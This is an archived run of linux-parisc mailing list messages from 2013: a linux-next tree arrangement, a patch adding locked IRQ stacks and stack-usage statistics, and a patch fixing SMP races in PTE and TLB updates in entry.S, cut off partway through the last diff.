Original-Received: from mout.gmx.net ([212.227.17.22]:54722 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752638Ab3EIUbH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 May 2013 16:31:07 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.28]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0MARzI-1UhjIe0ipW-00BbTG for
 <linux-parisc@vger.kernel.org>; Thu, 09 May 2013 22:31:06 +0200
Original-Received: (qmail invoked by alias); 09 May 2013 20:31:06 -0000
Original-Received: from p54AD1435.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.20.53]
  by mail.gmx.net (mp028) with SMTP; 09 May 2013 22:31:06 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/wonAacdTw0qT4tbjXyplHWh1r6HRL1ClcbQ0Vux
	omk8OMj+H+RRiG
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130311 Thunderbird/17.0.4
In-Reply-To: <20130508113704.5ac23906e0e513b4a76d5b55@canb.auug.org.au>
X-Enigmail-Version: 1.5.1
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5008 gmane.linux.kernel:1488293
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5008>

Hi Stephen,

On 05/08/2013 03:37 AM, Stephen Rothwell wrote:
> On Wed, 8 May 2013 00:11:02 +0200 Helge Deller <deller@gmx.de> wrote:
>>
>> please pull the parisc architecture updates for v3.10 from:
>>
>>   git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-for-3.10
> 
> Does this mean that the parisc tree I have in linux-next
> (git://git.kernel.org/pub/scm/linux/kernel/git/jejb/parisc-2.6.git#for-next)
> is defunct?

Not sure. It will be either James or me who will send pull requests...
Of course we will agree who of us will do that and from which tree.

So, would it hurt if you add a second parisc tree for linux-next?
I've just created a "for-next" branch in my git repository: 
git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git#for-next

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] parisc updates for v3.10
Date: Fri, 10 May 2013 10:15:48 +1000
Lines: 97
Approved: news@gmane.org
Message-ID: <20130510101548.d0a86e3587b6625c00dab7a5@canb.auug.org.au>
References: <20130507221102.GA5338@p100.box>
	<20130508113704.5ac23906e0e513b4a76d5b55@canb.auug.org.au>
	<518C0788.8060200@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; protocol="application/pgp-signature";
 micalg="PGP-SHA256";
 boundary="Signature=_Fri__10_May_2013_10_15_48_+1000_OTTyeGl_Nk04ggtG"
X-Trace: ger.gmane.org 1368144959 25503 80.91.229.3 (10 May 2013 00:15:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 May 2013 00:15:59 +0000 (UTC)
Cc: Linux Kernel Development <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 10 02:15:58 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Uab08-00053k-DN
	for glpp-linux-parisc@plane.gmane.org; Fri, 10 May 2013 02:15:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755512Ab3EJAP4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 May 2013 20:15:56 -0400
Original-Received: from haggis.pcug.org.au ([203.10.76.10]:53074 "EHLO
	members.tip.net.au" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755018Ab3EJAPz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 May 2013 20:15:55 -0400
Original-Received: from canb.auug.org.au (ibmaus65.lnk.telstra.net [165.228.126.9])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by members.tip.net.au (Postfix) with ESMTPSA id 8C273164100;
	Fri, 10 May 2013 10:15:49 +1000 (EST)
In-Reply-To: <518C0788.8060200@gmx.de>
X-Mailer: Sylpheed 3.3.0 (GTK+ 2.24.17; i486-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5009 gmane.linux.kernel:1488563
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5009>

--Signature=_Fri__10_May_2013_10_15_48_+1000_OTTyeGl_Nk04ggtG
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi Helge,

On Thu, 09 May 2013 22:31:04 +0200 Helge Deller <deller@gmx.de> wrote:
>
> On 05/08/2013 03:37 AM, Stephen Rothwell wrote:
> > On Wed, 8 May 2013 00:11:02 +0200 Helge Deller <deller@gmx.de> wrote:
> >>
> >> please pull the parisc architecture updates for v3.10 from:
> >>
> >>   git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.gi=
t parisc-for-3.10
> >=20
> > Does this mean that the parisc tree I have in linux-next
> > (git://git.kernel.org/pub/scm/linux/kernel/git/jejb/parisc-2.6.git#for-=
next)
> > is defunct?
>=20
> Not sure. It will be either James or me who will send pull requests...
> Of course we will agree who of us will do that and from which tree.
>=20
> So, would it hurt if you add a second parisc tree for linux-next?
> I've just created a "for-next" branch in my git repository:=20
> git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git#for=
-next

I have no problem having both trees in linux-next (as long as you don't
tread on each other's toes and cause merge problem too often :-)).

I have added your tree from today (noting that it is empty).  I have set
you and the parisc mailing list as contacts.

Thanks for adding your subsystem tree as a participant of linux-next.  As
you may know, this is not a judgment of your code.  The purpose of
linux-next is for integration testing and to lower the impact of
conflicts between subsystems in the next merge window.=20

You will need to ensure that the patches/commits in your tree/series have
been:
     * submitted under GPL v2 (or later) and include the Contributor's
	Signed-off-by,
     * posted to the relevant mailing list,
     * reviewed by you (or another maintainer of your subsystem tree),
     * successfully unit tested, and=20
     * destined for the current or next Linux merge window.

Basically, this should be just what you would send to Linus (or ask him
to fetch).  It is allowed to be rebased if you deem it necessary.

--=20
Cheers,
Stephen Rothwell=20
sfr@canb.auug.org.au

Legal Stuff:
By participating in linux-next, your subsystem tree contributions are
public and will be included in the linux-next trees.  You may be sent
e-mail messages indicating errors or other issues when the
patches/commits from your subsystem tree are merged and tested in
linux-next.  These messages may also be cross-posted to the linux-next
mailing list, the linux-kernel mailing list, etc.  The linux-next tree
project and IBM (my employer) make no warranties regarding the linux-next
project, the testing procedures, the results, the e-mails, etc.  If you
don't agree to these ground rules, let me know and I'll remove your tree
from participation in linux-next.

--Signature=_Fri__10_May_2013_10_15_48_+1000_OTTyeGl_Nk04ggtG
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (GNU/Linux)

iQIcBAEBCAAGBQJRjDw0AAoJEECxmPOUX5FE7GYQAJ9uhRtL/H2p9LanhevjS9jU
dx7UIq3fAeBcpOw/YI0ydnkiIzEaatCAcBFfRH1nZY6Pq8kaNr6FohT+wpqVDK4D
Yfa0DriDgjhGqZ+qfxZ9kBMeQMeSdE0FlpzsPpaLsPDYLLfJ1h3Sa+TWlnDV2j3n
YlXAN+AgZIzPU+3Dqy7s5JwRS4K80NqFl0ZnD3Mj4E0rwmIpPM+d703fnjYLzcqY
3XRepwp+h0FzS4++JALr1NC1p+ZW66oE0LatjICIUIGA9ghaWJQz5Dw0GjQJczV7
RpWzAEUCgPEVKXMEpQXeZZPS18Uyr1GThyUSv5AofcpYmyKWBqR2Lm74xtbSh1ms
YNo8yd+locCvI4J89HAc8BucFreMlWfQFVuwdxs54x5mSsMjLtmBpmSV1b0ILxkN
bXq48gauc+xQupTC3a7QRNPxzUJb55OfUsM6h6Pr4tBTLKD2kSAd9tkXiA84XhZL
WIR+xq0S6JmMJ6cEEWzG7a1Al9TV+mA4KeZsyBzT2j5BlmMI0cLeFgIOO159JFtW
SAb5hU3LF1Sp77fhVa2jos40zAICGRsTwtry/FAYJcBAzy4nLfyFjjtEMurEA2E/
18V/SmBdspBHvNHD5oNvEBeRqi/3eCZ5tDkTFUp74V4HFu4NlFIAsRgWmeJL/KaN
FUr+P5qDHMq4O85FPBgc
=4/iM
-----END PGP SIGNATURE-----

--Signature=_Fri__10_May_2013_10_15_48_+1000_OTTyeGl_Nk04ggtG--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: implement irq stacks - part 2 (v2)
Date: Fri, 10 May 2013 23:24:01 +0200
Lines: 265
Approved: news@gmane.org
Message-ID: <20130510212401.GA13982@p100.box>
References: <20130509001438.GA32043@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1368221049 29883 80.91.229.3 (10 May 2013 21:24:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 May 2013 21:24:09 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 10 23:24:08 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UaunQ-0004fo-26
	for glpp-linux-parisc@plane.gmane.org; Fri, 10 May 2013 23:24:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753934Ab3EJVYH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 10 May 2013 17:24:07 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:52748 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753905Ab3EJVYG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 10 May 2013 17:24:06 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.30]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0LobVE-1U4dJO1q7W-00gYuu for
 <linux-parisc@vger.kernel.org>; Fri, 10 May 2013 23:24:04 +0200
Original-Received: (qmail invoked by alias); 10 May 2013 21:24:03 -0000
Original-Received: from p54AD16CE.dip0.t-ipconnect.de (EHLO p100.box) [84.173.22.206]
  by mail.gmx.net (mp030) with SMTP; 10 May 2013 23:24:03 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+kn/oALlakL9I0aN0OvZsjUr+lWZbuuR8gc+sseK
	G/GWdhUoG9T5QY
Content-Disposition: inline
In-Reply-To: <20130509001438.GA32043@p100.box>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5010
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5010>

This patch fixes few build issues which were introduced with the last
irq stack patch, e.g. the combination of stack overflow check and irq
stack.

Furthermore we now do proper locking and change the irq bh handler
to use the irq stack as well.

In /proc/interrupts one now can monitor how huge the irq stack has grown
and how often it was preferred over the kernel stack.

IRQ stacks are now enabled by default just to make sure that we not
overflow the kernel stack by accident.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index cad060f..6507dab 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -245,7 +245,7 @@ config SMP
 
 config IRQSTACKS
 	bool "Use separate kernel stacks when processing interrupts"
-	default n
+	default y
 	help
 	  If you say Y here the kernel will use separate kernel stacks
 	  for handling hard and soft interrupts.  This can help avoid
diff --git a/arch/parisc/include/asm/hardirq.h b/arch/parisc/include/asm/hardirq.h
index 12373c4..c19f713 100644
--- a/arch/parisc/include/asm/hardirq.h
+++ b/arch/parisc/include/asm/hardirq.h
@@ -11,10 +11,18 @@
 #include <linux/threads.h>
 #include <linux/irq.h>
 
+#ifdef CONFIG_IRQSTACKS
+#define __ARCH_HAS_DO_SOFTIRQ
+#endif
+
 typedef struct {
 	unsigned int __softirq_pending;
 #ifdef CONFIG_DEBUG_STACKOVERFLOW
 	unsigned int kernel_stack_usage;
+#ifdef CONFIG_IRQSTACKS
+	unsigned int irq_stack_usage;
+	unsigned int irq_stack_counter;
+#endif
 #endif
 #ifdef CONFIG_SMP
 	unsigned int irq_resched_count;
@@ -28,6 +36,7 @@ DECLARE_PER_CPU_SHARED_ALIGNED(irq_cpustat_t, irq_stat);
 #define __ARCH_IRQ_STAT
 #define __IRQ_STAT(cpu, member) (irq_stat[cpu].member)
 #define inc_irq_stat(member)	this_cpu_inc(irq_stat.member)
+#define __inc_irq_stat(member)	__this_cpu_inc(irq_stat.member)
 #define local_softirq_pending()	this_cpu_read(irq_stat.__softirq_pending)
 
 #define __ARCH_SET_SOFTIRQ_PENDING
diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index 0640155..cfbc439 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -63,10 +63,13 @@
  */
 #ifdef __KERNEL__
 
+#include <linux/spinlock_types.h>
+
 #define IRQ_STACK_SIZE      (4096 << 2) /* 16k irq stack size */
 
 union irq_stack_union {
 	unsigned long stack[IRQ_STACK_SIZE/sizeof(unsigned long)];
+	raw_spinlock_t lock;
 };
 
 DECLARE_PER_CPU(union irq_stack_union, irq_stack_union);
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index e255db0..55237a7 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -166,22 +166,32 @@ int arch_show_interrupts(struct seq_file *p, int prec)
 	seq_printf(p, "%*s: ", prec, "STK");
 	for_each_online_cpu(j)
 		seq_printf(p, "%10u ", irq_stats(j)->kernel_stack_usage);
-	seq_printf(p, "  Kernel stack usage\n");
+	seq_puts(p, "  Kernel stack usage\n");
+# ifdef CONFIG_IRQSTACKS
+	seq_printf(p, "%*s: ", prec, "IST");
+	for_each_online_cpu(j)
+		seq_printf(p, "%10u ", irq_stats(j)->irq_stack_usage);
+	seq_puts(p, "  Interrupt stack usage\n");
+	seq_printf(p, "%*s: ", prec, "ISC");
+	for_each_online_cpu(j)
+		seq_printf(p, "%10u ", irq_stats(j)->irq_stack_counter);
+	seq_puts(p, "  Interrupt stack usage counter\n");
+# endif
 #endif
 #ifdef CONFIG_SMP
 	seq_printf(p, "%*s: ", prec, "RES");
 	for_each_online_cpu(j)
 		seq_printf(p, "%10u ", irq_stats(j)->irq_resched_count);
-	seq_printf(p, "  Rescheduling interrupts\n");
+	seq_puts(p, "  Rescheduling interrupts\n");
 	seq_printf(p, "%*s: ", prec, "CAL");
 	for_each_online_cpu(j)
 		seq_printf(p, "%10u ", irq_stats(j)->irq_call_count);
-	seq_printf(p, "  Function call interrupts\n");
+	seq_puts(p, "  Function call interrupts\n");
 #endif
 	seq_printf(p, "%*s: ", prec, "TLB");
 	for_each_online_cpu(j)
 		seq_printf(p, "%10u ", irq_stats(j)->irq_tlb_count);
-	seq_printf(p, "  TLB shootdowns\n");
+	seq_puts(p, "  TLB shootdowns\n");
 	return 0;
 }
 
@@ -378,6 +388,7 @@ static inline void stack_overflow_check(struct pt_regs *regs)
 	unsigned long sp = regs->gr[30];
 	unsigned long stack_usage;
 	unsigned int *last_usage;
+	int cpu = smp_processor_id();
 
 	/* if sr7 != 0, we interrupted a userspace process which we do not want
 	 * to check for stack overflow. We will only check the kernel stack. */
@@ -386,7 +397,31 @@ static inline void stack_overflow_check(struct pt_regs *regs)
 
 	/* calculate kernel stack usage */
 	stack_usage = sp - stack_start;
-	last_usage = &per_cpu(irq_stat.kernel_stack_usage, smp_processor_id());
+#ifdef CONFIG_IRQSTACKS
+	if (likely(stack_usage <= THREAD_SIZE))
+		goto check_kernel_stack; /* found kernel stack */
+
+	/* check irq stack usage */
+	stack_start = (unsigned long) &per_cpu(irq_stack_union, cpu).stack;
+	stack_usage = sp - stack_start;
+
+	last_usage = &per_cpu(irq_stat.irq_stack_usage, cpu);
+	if (unlikely(stack_usage > *last_usage))
+		*last_usage = stack_usage;
+
+	if (likely(stack_usage < (IRQ_STACK_SIZE - STACK_MARGIN)))
+		return;
+
+	pr_emerg("stackcheck: %s will most likely overflow irq stack "
+		 "(sp:%lx, stk bottom-top:%lx-%lx)\n",
+		current->comm, sp, stack_start, stack_start + IRQ_STACK_SIZE);
+	goto panic_check;
+
+check_kernel_stack:
+#endif
+
+	/* check kernel stack usage */
+	last_usage = &per_cpu(irq_stat.kernel_stack_usage, cpu);
 
 	if (unlikely(stack_usage > *last_usage))
 		*last_usage = stack_usage;
@@ -398,31 +433,69 @@ static inline void stack_overflow_check(struct pt_regs *regs)
 		 "(sp:%lx, stk bottom-top:%lx-%lx)\n",
 		current->comm, sp, stack_start, stack_start + THREAD_SIZE);
 
+#ifdef CONFIG_IRQSTACKS
+panic_check:
+#endif
 	if (sysctl_panic_on_stackoverflow)
 		panic("low stack detected by irq handler - check messages\n");
 #endif
 }
 
 #ifdef CONFIG_IRQSTACKS
-DEFINE_PER_CPU(union irq_stack_union, irq_stack_union);
+DEFINE_PER_CPU(union irq_stack_union, irq_stack_union) = {
+		.lock = __RAW_SPIN_LOCK_UNLOCKED((irq_stack_union).lock)
+	};
 
 static void execute_on_irq_stack(void *func, unsigned long param1)
 {
-	unsigned long *irq_stack_start;
+	union irq_stack_union *union_ptr;
 	unsigned long irq_stack;
-	int cpu = smp_processor_id();
+	raw_spinlock_t *irq_stack_in_use;
 
-	irq_stack_start = &per_cpu(irq_stack_union, cpu).stack[0];
-	irq_stack = (unsigned long) irq_stack_start;
-	irq_stack = ALIGN(irq_stack, 16); /* align for stack frame usage */
+	union_ptr = &per_cpu(irq_stack_union, smp_processor_id());
+	irq_stack = (unsigned long) &union_ptr->stack;
+	irq_stack = ALIGN(irq_stack + sizeof(irq_stack_union.lock),
+			 64); /* align for stack frame usage */
 
-	BUG_ON(*irq_stack_start); /* report bug if we were called recursive. */
-	*irq_stack_start = 1;
+	/* We may be called recursive. If we are already using the irq stack,
+	 * just continue to use it. Use spinlocks to serialize
+	 * the irq stack usage.
+	 */
+	irq_stack_in_use = &union_ptr->lock;
+	if (!raw_spin_trylock(irq_stack_in_use)) {
+		void (*direct_call)(unsigned long p1) = func;
+
+		/* We are using the IRQ stack already.
+		 * Do direct call on current stack. */
+		direct_call(param1);
+		return;
+	}
 
 	/* This is where we switch to the IRQ stack. */
 	call_on_stack(param1, func, irq_stack);
 
-	*irq_stack_start = 0;
+	__inc_irq_stat(irq_stack_counter);
+
+	/* free up irq stack usage. */
+	do_raw_spin_unlock(irq_stack_in_use);
+}
+
+asmlinkage void do_softirq(void)
+{
+	__u32 pending;
+	unsigned long flags;
+
+	if (in_interrupt())
+		return;
+
+	local_irq_save(flags);
+
+	pending = local_softirq_pending();
+
+	if (pending)
+		execute_on_irq_stack(__do_softirq, 0);
+
+	local_irq_restore(flags);
 }
 #endif /* CONFIG_IRQSTACKS */
 
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index ce939ac..1c96564 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -1069,7 +1069,7 @@ void flush_tlb_all(void)
 {
 	int do_recycle;
 
-	inc_irq_stat(irq_tlb_count);
+	__inc_irq_stat(irq_tlb_count);
 	do_recycle = 0;
 	spin_lock(&sid_lock);
 	if (dirty_space_ids > RECYCLE_THRESHOLD) {
@@ -1090,7 +1090,7 @@ void flush_tlb_all(void)
 #else
 void flush_tlb_all(void)
 {
-	inc_irq_stat(irq_tlb_count);
+	__inc_irq_stat(irq_tlb_count);
 	spin_lock(&sid_lock);
 	flush_tlb_all_local(NULL);
 	recycle_sids();
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix SMP races when updating PTE and TLB entries in entry.S
Date: Fri, 10 May 2013 19:21:38 -0400
Lines: 383
Approved: news@gmane.org
Message-ID: <BLU0-SMTP553125C69B4B57B438F08E97A50@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-26--921125333"
X-Trace: ger.gmane.org 1368228173 29988 80.91.229.3 (10 May 2013 23:22:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 May 2013 23:22:53 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 11 01:22:51 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UaweI-0004zJ-N1
	for glpp-linux-parisc@plane.gmane.org; Sat, 11 May 2013 01:22:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755451Ab3EJXWt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 10 May 2013 19:22:49 -0400
Original-Received: from [65.55.111.169] ([65.55.111.169]:1573 "EHLO
	blu0-omc4-s30.blu0.hotmail.com" rhost-flags-FAIL-FAIL-OK-FAIL)
	by vger.kernel.org with ESMTP id S1754418Ab3EJXWt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 10 May 2013 19:22:49 -0400
Original-Received: from BLU0-SMTP55 ([65.55.111.135]) by blu0-omc4-s30.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Fri, 10 May 2013 16:22:18 -0700
X-EIP: [XPxXZOMyyDw6+202ao3PZpOz4Gs7gRm3]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.130.254]) by BLU0-SMTP55.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Fri, 10 May 2013 16:22:17 -0700
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 10 May 2013 23:22:17.0961 (UTC) FILETIME=[3697BD90:01CE4DD5]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5011
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5011>

--Apple-Mail-26--921125333
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

Currently, race conditions exist in the handling of TLB interruptions  
in entry.S.  In particular, dirty
bit updates can be lost if an accessed interruption occurs just after  
the dirty bit interruption on a
different cpu.  Lost dirty bit updates result in user pages not being  
flushed and general system
instability.  This change adds lock and unlock macros to synchronize  
all PTE and TLB updates
done in entry.S.  As a result, userspace stability is significantly  
improved.

Signed-off-by: John David Anglin  <dave.anglin@bell.net>
---



--Apple-Mail-26--921125333
Content-Disposition: attachment; filename="dbit_lock.d.8.txt"
Content-Type: text/plain; x-unix-mode=0644; name="dbit_lock.d.8.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index f33201b..471f4e5 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -444,9 +445,41 @@
 	L2_ptep		\pgd,\pte,\index,\va,\fault
 	.endm
 
+	/* Acquire pa_dbit_lock lock. */
+	.macro		dbit_lock	spc,tmp,tmp1
+#ifdef CONFIG_SMP
+	cmpib,COND(=),n	0,\spc,2f
+	load32		PA(pa_dbit_lock),\tmp
+1:	LDCW		0(\tmp),\tmp1
+	cmpib,COND(=)	0,\tmp1,1b
+	nop
+2:
+#endif
+	.endm
+
+	/* Release pa_dbit_lock lock without reloading lock address. */
+	.macro		dbit_unlock0	spc,tmp
+#ifdef CONFIG_SMP
+	or,COND(=)	%r0,\spc,%r0
+	stw             \spc,0(\tmp)
+#endif
+	.endm
+
+	/* Release pa_dbit_lock lock. */
+	.macro		dbit_unlock1	spc,tmp
+#ifdef CONFIG_SMP
+	load32		PA(pa_dbit_lock),\tmp
+	dbit_unlock0	\spc,\tmp
+#endif
+	.endm
+
 	/* Set the _PAGE_ACCESSED bit of the PTE.  Be clever and
 	 * don't needlessly dirty the cache line if it was already set */
-	.macro		update_ptep	ptep,pte,tmp,tmp1
+	.macro		update_ptep	spc,ptep,pte,tmp,tmp1
+#ifdef CONFIG_SMP
+	or,COND(=)	%r0,\spc,%r0
+	LDREG		0(\ptep),\pte
+#endif
 	ldi		_PAGE_ACCESSED,\tmp1
 	or		\tmp1,\pte,\tmp
 	and,COND(<>)	\tmp1,\pte,%r0
@@ -455,7 +488,11 @@
 
 	/* Set the dirty bit (and accessed bit).  No need to be
 	 * clever, this is only used from the dirty fault */
-	.macro		update_dirty	ptep,pte,tmp
+	.macro		update_dirty	spc,ptep,pte,tmp
+#ifdef CONFIG_SMP
+	or,COND(=)	%r0,\spc,%r0
+	LDREG		0(\ptep),\pte
+#endif
 	ldi		_PAGE_ACCESSED|_PAGE_DIRTY,\tmp
 	or		\tmp,\pte,\pte
 	STREG		\pte,0(\ptep)
@@ -1099,11 +1139,13 @@ dtlb_miss_20w:
 
 	L3_ptep		ptp,pte,t0,va,dtlb_check_alias_20w
 
-	update_ptep	ptp,pte,t0,t1
+	dbit_lock	spc,t0,t1
+	update_ptep	spc,ptp,pte,t0,t1
 
 	make_insert_tlb	spc,pte,prot
 	
 	idtlbt          pte,prot
+	dbit_unlock1	spc,t0
 
 	rfir
 	nop
@@ -1123,11 +1165,13 @@ nadtlb_miss_20w:
 
 	L3_ptep		ptp,pte,t0,va,nadtlb_check_alias_20w
 
-	update_ptep	ptp,pte,t0,t1
+	dbit_lock	spc,t0,t1
+	update_ptep	spc,ptp,pte,t0,t1
 
 	make_insert_tlb	spc,pte,prot
 
 	idtlbt          pte,prot
+	dbit_unlock1	spc,t0
 
 	rfir
 	nop
@@ -1149,7 +1193,8 @@ dtlb_miss_11:
 
 	L2_ptep		ptp,pte,t0,va,dtlb_check_alias_11
 
-	update_ptep	ptp,pte,t0,t1
+	dbit_lock	spc,t0,t1
+	update_ptep	spc,ptp,pte,t0,t1
 
 	make_insert_tlb_11	spc,pte,prot
 
@@ -1160,6 +1205,7 @@ dtlb_miss_11:
 	idtlbp		prot,(%sr1,va)
 
 	mtsp		t0, %sr1	/* Restore sr1 */
+	dbit_unlock1	spc,t0
 
 	rfir
 	nop
@@ -1180,7 +1226,8 @@ nadtlb_miss_11:
 
 	L2_ptep		ptp,pte,t0,va,nadtlb_check_alias_11
 
-	update_ptep	ptp,pte,t0,t1
+	dbit_lock	spc,t0,t1
+	update_ptep	spc,ptp,pte,t0,t1
 
 	make_insert_tlb_11	spc,pte,prot
 
@@ -1192,6 +1239,7 @@ nadtlb_miss_11:
 	idtlbp		prot,(%sr1,va)
 
 	mtsp		t0, %sr1	/* Restore sr1 */
+	dbit_unlock1	spc,t0
 
 	rfir
 	nop
@@ -1212,13 +1260,15 @@ dtlb_miss_20:
 
 	L2_ptep		ptp,pte,t0,va,dtlb_check_alias_20
 
-	update_ptep	ptp,pte,t0,t1
